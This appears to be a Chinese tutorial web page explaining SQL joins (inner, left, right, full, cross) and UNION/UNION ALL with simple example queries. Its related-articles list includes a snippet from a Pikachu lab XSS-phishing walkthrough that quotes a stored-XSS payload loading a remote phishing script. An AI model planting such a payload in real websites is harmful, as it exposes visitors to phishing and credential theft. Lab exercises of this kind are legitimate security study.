解锁数据关联之道:SQL 表连接详解

文章目录

  • 概述
  • 表关系
  • 横向连接
    • 内连接 inner join
    • 左连接 left join
    • 右连接 right join
    • 全连接 full join
    • 交叉连接 cross join
  • 纵向合并
    • UNION ALL
    • UNION

概述

在数据处理、数据分析中常会用到表连接。表连接的作用是将多个表中的数据关联起来,以便在查询过程中获取更全面和准确的信息。。通过表连接,可以更灵活地处理和分析数据库中的数据,提供更全面和准确的查询结果。使用表连接有以下功能:

  • 获取相关数据: 当数据分散在多个表中时,通过表连接可以将这些表中的相关数据关联起来。例如,在一个电子商务系统中,订单信息可能存储在一个表中,而客户信息可能存储在另一个表中。通过表连接,可以将订单表和客户表中的数据关联起来,从而获取包括订单和客户信息的完整记录。
  • 实现数据聚合: 表连接可以用于将多个表中的数据进行聚合计算。通过连接与聚合函数结合使用,可以进行复杂的统计和汇总操作。例如,在销售数据分析中,可以将订单表和产品表连接,并使用聚合函数计算每个产品的销售总额、平均价格等统计指标。
  • 支持复杂的查询条件: 使用表连接可以在查询条件中同时使用多个表的列进行筛选和过滤。这样可以根据多个表的关系和条件进行更精确的查询。例如,可以通过连接客户表和订单表,并根据客户的地理位置和订单的日期范围进行筛选,以获取特定地区在特定时间内的订单数据。
  • 提高查询性能: 通过适当地使用表连接,可以减少数据冗余和重复存储,从而提高查询性能。

表关系

表关系指的是数据库中不同表之间的关联关系。这种关系通常通过表中的共同列(键)建立起来,以便在查询数据时能够在不同表之间建立连接并获取相关信息。表关系通常可以分为以下几种类型:

  • 一对一关系: 两个表中的每个记录在关联字段上都有唯一的对应。这种关系通常用于将不同方面的信息分开存储,以保持数据的规范性和整洁性。
    在这里插入图片描述

  • 一对多关系: 一个表中的记录在关联字段上可以对应多个另一个表中的记录。这种关系常见于主从表的关系,例如一个客户可能有多个订单。

  • 多对一关系: 多个表中的记录在关联字段上对应同一个表中的记录。这种关系通常指向关联字段具有相同值的情况。
    在这里插入图片描述

  • 多对多关系: 两个表之间的记录可以相互关联,并且每个记录在关联字段上可以对应多个另一个表中的记录。为了建立这种关系,通常需要通过第三张关系表来实现。
    在这里插入图片描述

通过合理设计表关系,可以避免数据冗余、确保数据一致性,并且使得数据库的结构更加清晰和易于维护。在进行数据查询时,表关系能够帮助我们获取跨表的相关信息,进行复杂的数据分析和处理操作。

横向连接

数据:
在这里插入图片描述

内连接 inner join

返回左表与右边关键值一致的行(两表的交集)。

select * from t1 inner join  t2 on t1.key1 = t2.key2;

在这里插入图片描述

左连接 left join

返回左表中的所有行,以及右表中与左表匹配的行。

select * from t1 left join  t2 on t1.key1 = t2.key2;

在这里插入图片描述

右连接 right join

返回右表中的所有行,以及左表中与右表匹配的行。

select * from t1 right join  t2 on t1.key1 = t2.key2;

在这里插入图片描述

全连接 full join

返回左右两个表中所有的行,并将它们匹配起来,如果其中一个表中没有匹配的行,则用 NULL 值填充。(两表的并集)

select * from t1 full join  t2 on t1.key1 = t2.key2;

在这里插入图片描述

交叉连接 cross join

交叉连接会返回两个表的笛卡尔积,即左表中的每一行都会与右表中的每一行匹配。

SELECT *
FROM table1
CROSS JOIN table2;

示例:
在这里插入图片描述

纵向合并

纵向合并是为了追加/增加记录。通常情况下,纵向合并需要满足以下条件:

  • 两张表必须拥有相同数量的字段
  • 两张表字段的顺序必须相同
  • 两张表对应字段的数据类型必须一致
  • 字段名可以不相同,选取主数据集的字段名
    在这里插入图片描述

UNION ALL

UNION ALL操作符用于合并结果集时不会去重,即结果集中可能包含重复的行。

SELECT column1, column2
FROM table1
UNION ALL
SELECT column1, column2
FROM table2;

UNION

UNION操作符用于合并结果集时会自动去重,即去除重复的行。

SELECT column1, column2
FROM table1
UNION 
SELECT column1, column2
FROM table2;

在SQL中,UNION和UNION ALL都是用于合并两个或多个SELECT语句的结果集的操作符。它们的主要区别在于对重复行的处理方式。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/330954.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

设计模式—23种设计模式重点 表格梳理

设计模式的核心在于提供了相关的问题的解决方案,使得人们可以更加简单方便的复用成功的设计和体系结构。 按照设计模式的目的可以分为三大类。创建型模式与对象的创建有关;结构型模式处理类或对象的组合;行为型模式对类或对象怎样交互和怎样…

正确可用--Notepad++批量转换文件编码为UTF8

参考了:Notepad批量转换文件编码为UTF8_怎么批量把ansi转成utf8-CSDN博客​​​​​​https://blog.csdn.net/wangmy1988/article/details/118698647我参考了它的教程,但是py脚本写的不对. 只能改一个.不能实现批量更改. 他的操作步骤没问题,就是把脚本代码换成我这个. #-*-…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

uniapp+canvas实现逐字手写效果

在移动端使用 UniApp 进行逐字手写的功能。用户可以在一个 inputCanvas 上书写单个字&#xff0c;然后在特定时间后将这个字添加到 outputCanvas 上&#xff0c;形成一个逐字的手写效果。用户还可以保存整幅图像或者撤销上一个添加的字。 初始化 Canvas&#xff1a; 使用 uni.c…

使用FFmpeg推流实现在B站24小时点歌直播

使用FFmpeg推流实现在B站24小时点歌直播 本文首发于个人博客 安装FFmpeg centos7 https://www.myfreax.com/how-to-install-ffmpeg-on-centos-7/ https://linuxize.com/post/how-to-install-ffmpeg-on-centos-7/ 使用FFmpeg在B站直播 https://zhuanlan.zhihu.com/p/2395…

超级初始网络

目录 一、网络发展史 1、独立模式 2、局域网 LAN&#xff08;Local Area Network&#xff09; 3、广域网 WAN (Wide Area Network) 二、网络通信基础 1、IP地址&#xff1a;用于定位主机的网络地址 2、端口号&#xff1a;用于定位主机中的进程 3、网络协议 4、五元组 …

基于卷积神经网络的交通标志识别(pytorch,opencv,yolov5)

文章目录 数据集介绍&#xff1a;resnet18模型代码加载数据集&#xff08;Dataset与Dataloader&#xff09;模型训练训练准确率及损失函数&#xff1a;resnet18交通标志分类源码yolov5检测与识别&#xff08;交通标志&#xff09; 本文共包含两部分&#xff0c; 第一部分是用re…

LeetCode 279 —— 完全平方数

阅读目录 1. 题目2. 解题思路3. 代码实现 1. 题目 2. 解题思路 此图利用动态规划进行求解&#xff0c;首先&#xff0c;我们求出小于 n n n 的所有完全平方数&#xff0c;存放在数组 squareNums 中。 定义 dp[n] 为和为 n n n 的完全平方数的最小数量&#xff0c;那么有状态…

mysql中text,longtext,mediumtext区别

文章目录 一.概览二、字节限制不同三、I/O 不同四、行迁移不同 一.概览 在 MySQL 中&#xff0c;text、mediumtext 和 longtext 都是用来存储大量文本数据的数据类型。 TEXT&#xff1a;TEXT 数据类型可以用来存储最大长度为 65,535(2^16-1)个字符的文本数据。如果存储的数据…

【服务器】使用mobaXterm远程连接服务器

目录 1、安装mobaXterm2、使用mobaXterm3、程序后台保持运行状态 1、安装mobaXterm 下载地址&#xff1a;https://mobaxterm.mobatek.net/download.html 下载免费版 分为蓝色便携版&#xff08;下载后可直接使用&#xff09;和绿色安装版&#xff08;需要正常安装后使用&…

【老王最佳实践-6】Spring 如何给静态变量注入值

有些时候&#xff0c;我们可能需要给静态变量注入 spring bean&#xff0c;尝试过使用 Autowired 给静态变量做注入的同学应该都能发现注入是失败的。 Autowired 给静态变量注入bean 失败的原因 spring 底层已经限制了&#xff0c;不能给静态属性注入值&#xff1a; 如果我…

Go语言(Golang)的开发框架

在Go语言&#xff08;Golang&#xff09;的开发中&#xff0c;有多种开发框架可供选择&#xff0c;它们各自具有不同的特点和优势。以下是一些流行的Go语言开发框架&#xff0c;选择Go语言的开发框架时&#xff0c;需要考虑项目需求、团队熟悉度、社区支持、框架性能和可维护性…

docker- 购建服务镜像并启动

文章目录 前言docker- 购建服务镜像并启动1. 前期准备2. 构建镜像3. 运行容器4. 验证 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实…

基于微信小程序的校园捐赠系统的设计与实现

校园捐赠系统是一种便捷的平台&#xff0c;为校园内的各种慈善活动提供支持和便利。通过该系统&#xff0c;学生、教职员工和校友可以方便地进行捐赠&#xff0c;并了解到相关的项目信息和捐助情况。本文将介绍一个基于Java后端和MySQL数据库的校园捐赠系统的设计与实现。 技术…

PGP软件安装文件加密解密签名实践记录

文章目录 环境说明PGP软件安装PGP软件汉化AB电脑新建密钥并互换密钥对称密钥并互换密钥 文件加密和解密A电脑加密B电脑解密 文件签名A电脑签名文件B电脑校验文件修改文件内容校验失败修改文件名称正常校验 环境说明 使用VM虚拟两个win11,进行操作演示 PGP软件安装 PGP软件下…

【Andoird开发】android获取蓝牙权限,搜索蓝牙设备MAC

<!-- Android 12以下才需要定位权限&#xff0c; Android 9以下官方建议申请ACCESS_COARSE_LOCATION --><uses-permission android:name"android.permission.ACCESS_COARSE_LOCATION" /><uses-permission android:name"android.permission.ACCES…

通过域名接口申请免费的ssl多域名证书

来此加密已顺利接入阿里云的域名接口&#xff0c;用户只需一键调用&#xff0c;便可轻松完成域名验证&#xff0c;从而更高效地申请证书。接下来&#xff0c;让我们详细解读一下整个操作过程。 来此加密官网 免费申请SSL证书 免费SSL多域名证书&#xff0c;泛域名证书。 首先&a…

【游戏引擎】Unity脚本基础 开启游戏开发之旅

持续更新。。。。。。。。。。。。。。。 【游戏引擎】Unity脚本基础 Unity脚本基础C#语言简介C#基础 Unity脚本基础创建和附加脚本MonoBehaviour生命周期生命周期方法 示例脚本 Unity特有的API常用Unity API 实践示例&#xff1a;制作一个简单的移动脚本步骤1&#xff1a;创建…

水泥超低排平台哪家好?

随着环保政策的加强和绿色发展理念的深入人心&#xff0c;水泥行业的超低排放改造已成为行业发展的新趋势。选择一个合适的水泥超低排平台对于确保改造效果和实现企业的可持续发展至关重要。朗观视觉小编将从多个角度出发&#xff0c;为您提供一份综合评估与选择攻略&#xff0…

Flask-SQLAlchemy的使用【二】

目录 一.查询 1.1查询语句的格式 1.2查询过滤器 1.3查询执行器 1.4具体例子 1.4.1查询有多少个用户 1.4.2查询第一个用户 1.4.3查询id为4的用户 1.4.4查询id为4title为4的记录 1.4.5查询id为4或者title为4的记录 1.4.6查询id为[1,3,5,7,9]的记录 1.4.7查询所有记录&a…